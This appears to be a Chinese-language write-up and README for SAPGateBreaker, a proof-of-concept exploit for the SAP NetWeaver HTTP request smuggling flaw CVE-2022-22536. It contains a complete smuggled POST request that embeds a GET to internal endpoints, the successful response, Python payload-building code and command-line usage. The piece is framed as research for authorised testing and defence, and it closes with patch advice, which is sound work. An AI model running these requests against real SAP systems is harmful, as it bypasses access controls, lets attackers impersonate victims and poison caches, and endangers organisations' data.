SAP NetWeaver应用服务器ABAP、SAP NetWeaver应用服务器Java、ABAP平台、SAP Content Server 7.53和SAP Web Dispatcher存在请求走私和请求拼接漏洞。未经身份验证的攻击者可以在受害者请求前附加任意数据。通过这种方式,攻击者可以冒充受害者执行功能,或毒化中间Web缓存。成功攻击可能导致系统机密性、完整性和可用性完全受损。
SAPGateBreaker 是 CVE-2022-22536(SAP NetWeaver 中的一个关键 HTTP 请求走私漏洞)的概念验证利用工具。它演示了如何通过使用精心构造的基于 Content-Length 的载荷来使 ICM 与后端服务之间的请求解析不同步,从而绕过 ACL。

标识为 CVE-2022-22536 的漏洞代表了 SAP NetWeaver 应用服务器中的一个关键缺陷,使安装环境暴露于 HTTP 请求走私攻击。该漏洞的 CVSS 评分为 9.8,影响 Java 和 ABAP 两种堆栈,允许攻击者绕过访问控制机制,如同在内部网络上一样与内部应用程序交互。
理解 HTTP 请求走私
HTTP 请求走私(HRS)是一种高级技术,它利用 Web 基础设施中不同组件(通常是代理、负载均衡器和后端服务器)在解释 HTTP 请求边界方面的差异。通过操纵 Content-Length 和 Transfer-Encoding 等头部,攻击者可以“走私”一个与后端服务器预期不同步的恶意请求。
本质上,当前端和后端服务器对请求的起始和结束位置存在分歧时,攻击者可以注入第二个隐藏请求,该请求将以更高的信任级别被处理。这通常会导致安全绕过,例如 WAF 规避、缓存中毒或 ACL 绕过。
CVE-2022-22536 的性质
SAP 的 ICM(Internet Communication Manager)对精心构造的 HTTP 请求解析不当,使得走私请求能够到达内部服务。这在分段架构中尤其具有影响力,因为对内部服务的直接访问受到限制。利用此漏洞,攻击者可以发出看似源自受信任内部网络的请求。
当载荷滥用对 HTTP 请求结束位置的不同解释时,漏洞就会显现。这通常涉及注入 Transfer-Encoding: chunked 头部或操纵 Content-Length 字段以引起不同步。
初始载荷失败与分块编码拒绝
在测试过程中,利用典型分块走私技术的载荷会导致 SAP ICM 返回 408 Request Timeout 响应。这种行为表明 SAP 的 HTTP 堆栈不支持预期的 Transfer-Encoding: chunked 方式,从而阻止了传统的基于分块的同步失效。
因此,利用方法转向使用 Content-Length 头部进行不同步。一个精心构造的请求,包含一个空的分块载荷后跟一个有效的辅助 HTTP 请求,成功绕过了请求边界。这种替代策略被证明可以有效地绕过内部访问控制。
最终利用策略与代码实现
有效的利用方法发送一个 POST 请求到公共端点(/sap/admin/public/default.html),其中包含 Content-Length 头部,后跟一个旨在到达内部资源的嵌入 GET 请求。
POST /sap/admin/public/default.html HTTP/1.1
Host: 172.32.22.7:50000
Authorization: Basic YTph
Cookie: saplb_*=(J2EE7364720)7364750
Content-Type: application/json
Content-Length: 128
0
GET /sap/bc/webdynpro/sap/appl_soap_management HTTP/1.1
Host: 127.0.0.1
X-Forwarded-For: 127.0.0.1
Connection: close
这导致成功访问内部资源:
HTTP/1.1 200 OK
Server: SAP NetWeaver Application Server
Content-Length: 4465
Content-Type: text/html
Connection: Keep-Alive
实现遍历一个通常受限的内部 SAP URL 列表。比较通过直接访问和通过走私请求访问时收到的状态码。如果内部访问返回 200(而直接访问返回 403 或 404),则表明走私技术成功绕过了内部访问控制。
构建载荷的逻辑:
def build_smuggled_request(path):
return f"0\r\n\r\nGET {path} HTTP/1.1\r\nHost: 127.0.0.1\r\nX-Forwarded-For: 127.0.0.1\r\nConnection: close\r\n\r\n"
攻击通过使用包含走私载荷的精心构造的 POST 请求执行:
headers = {
"Host": f"{host}:{port}",
"Authorization": "Basic YTph",
"Cookie": "saplb_*=(J2EE7364720)7364750",
"Content-Type": "application/json",
"Content-Length": str(len(body.encode("utf-8")))
}
观察到的结果
在多个测试案例中,诸如 /sap/public/bc/icf/info 或 /heapdump/ 等端点通常返回 403 Forbidden 或 404 Not Found,但通过走私请求访问时则返回 200 OK。这证明成功绕过了 SAP 的访问控制。
工具的输出包括发送的载荷和响应头部,便于精确的取证验证:
>>> Sent Payload:
POST /sap/admin/public/default.html HTTP/1.1
Host: 172.32.22.7:50000
...
>>> Received Response:
HTTP/1.1 200 OK
Server: SAP NetWeaver Application Server
...
正常请求:


利用请求:


结论
CVE-2022-22536 突显了 HTTP 请求走私在现代企业软件堆栈中的持续威胁。所提供的概念验证是对潜在漏洞的演示,并可作为验证和防御测试的工具。
强烈建议管理员应用 SAP 安全更新并实施适当的反向代理保护,以防止格式错误的 HTTP 请求传播。
有关 CVE-2022-22536 的更多详情,请参阅: https://nvd.nist.gov/vuln/detail/CVE-2022-22536
SAP 安全说明: https://launchpad.support.sap.com/#/notes/3123396
SAPGateBreaker 利用工具
SAPGateBreaker 是一个独立的 Python 工具,可自动测试 CVE-2022-22536,这是 SAP NetWeaver 应用服务器中的一个关键 HTTP 请求走私漏洞。
用法
python3 sapgatebreaker.py -u http://<目标主机>:<端口> [--verbose]
参数:
-u, --url: 目标 URL(例如 http://172.32.22.7:50000)-v, --verbose: 为每个请求和响应启用详细的头部和正文输出功能:
poc.txt 以供进一步分析免责声明
此工具仅用于教育和授权的渗透测试。未经明确许可对系统进行未授权使用是严格禁止的,并可能违反适用法律。